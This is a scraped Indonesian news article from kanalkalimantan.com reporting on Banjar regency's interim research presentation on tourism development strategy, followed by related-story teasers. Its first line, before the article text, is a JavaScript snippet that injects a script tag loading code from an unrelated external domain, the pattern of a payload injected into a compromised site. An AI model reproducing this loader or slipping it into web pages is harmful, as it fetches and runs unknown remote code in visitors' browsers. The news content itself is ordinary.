(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar kegiatan Ekspose Antara Penelitian dengan tema “Strategi dan Prioritas Pengembangan Pariwisata di Kabupaten Banjar Sebagai Pengungkit Pertumbuhan Ekonomi Daerah” Selasa (12/7/2022) pagi, di aula Bauntung Martapura, Kabupaten Banjar, Provinsi Kalimantan Selatan.
Kegiatan itu dibuka oleh Sekretaris Bappedalitbang Hanafi didampingi Kabid Litbang dan Inovasi Santi Nurlaela,
Peserta yang hadir antara lain dari Dinas Kebudayaan, Kepemudaan, Olahraga dan Pariwisata, Dinas Pekerjaan Umum dan Penataan Ruang, Dinas Pemberdayaan Masyarakat dan Desa, Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu, Bappedalitbang Kabupaten Banjar.
Dalam sambutannya Hanafi menyampaikan terima kasih atas kehadiran SKPD dalam rangka Ekspose Antara.
Baca juga : Bupati Tanbu Sampaikan KUPA PPAS APBD Perubahan 2022
Dia berharap hasil akhir dari penelitian menjadi rekomendasi strategi bagi SKPD terkait dalam mengungkit pertumbuhan ekonomi masyarakat agar terwujud masyarakat yang maju mandiri dan agamis.
Memimpin forum rapat ekpose Santi mengatakan, bahwa dalam penelitian ini akan banyak sektor yang terlibat.
“Kalau bicara pariwisata banyak aspek yang ada didalamnya, dan sudah pasti akan banyak sektor yang terlibat baik pariwisata, sosial, kesehatan, dan lain-lain,” ujar Santi.
“Dari penelitian ini kita ingin tahu faktor apa yang dominan mempengaruhi kunjungan wistawan, selain itu ingin mengetahui bagaimana prioritas pengembangan pariwisata dan langkah strategi apa yang perlu dilakukan oleh Pemerintah Kabupaten Banjar,” jelas dia.
Baca juga : Kurban Sapi Jenis Brahman, PT Arutmin Indonesia Batulicin Salurkan ke Warga Lingkar Tambang
Sementara, Noor Rahmini Dosen di Fakultas Ekonomi dan Bisnis ULM yang mendalami bidang kepariwisataan di daerah bersama tim sebagai peneliti memaparkan tujuan penelitian untuk menjelaskan faktor yang dominan dan prioritas pengembangan pariwisata yang perlu dilakukan serta menganalisa strategi yang harus dilakukan guna meningkatkan potensi pariwisatanya.
“Dalam penelitian ini ada 10 lokasi dari lima kategori wisata yang jadi sampel penelitian diantaranya Wisata Budaya dan Sejarah (Lok Baintan, Benteng Orange Nassau), Wisata Religi dan Ziarah (Sekumpul, Kelampayan), Wisata Buatan dan Edukasi (Water Boom), Wisata Alam dan Rekreasi (Tahura, Pulau Pinus, Bukit Matang Kaladan), Wisata Kuliner dan Agrowisata (Bincau, CBS),” papar Rahmi.
Diisi dengan diskusi dan tanya jawab kegiatan ini akan berlanjut dengan Focus Group Discussion (FGD) guna menyamakan setiap persepsi yang berbeda serta menggali lebih jauh informasi dan saran dari seluruh sektor agar dapat kesepakatan dan menghasilkan rekomendasi serta strategi yang bermanfaat untuk kepentingan daerah. (kanalkalimantan.com/rls/bappedalitbang)
Reporter : Rls
Editor : Dhani
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More
KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More
KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
This website uses cookies.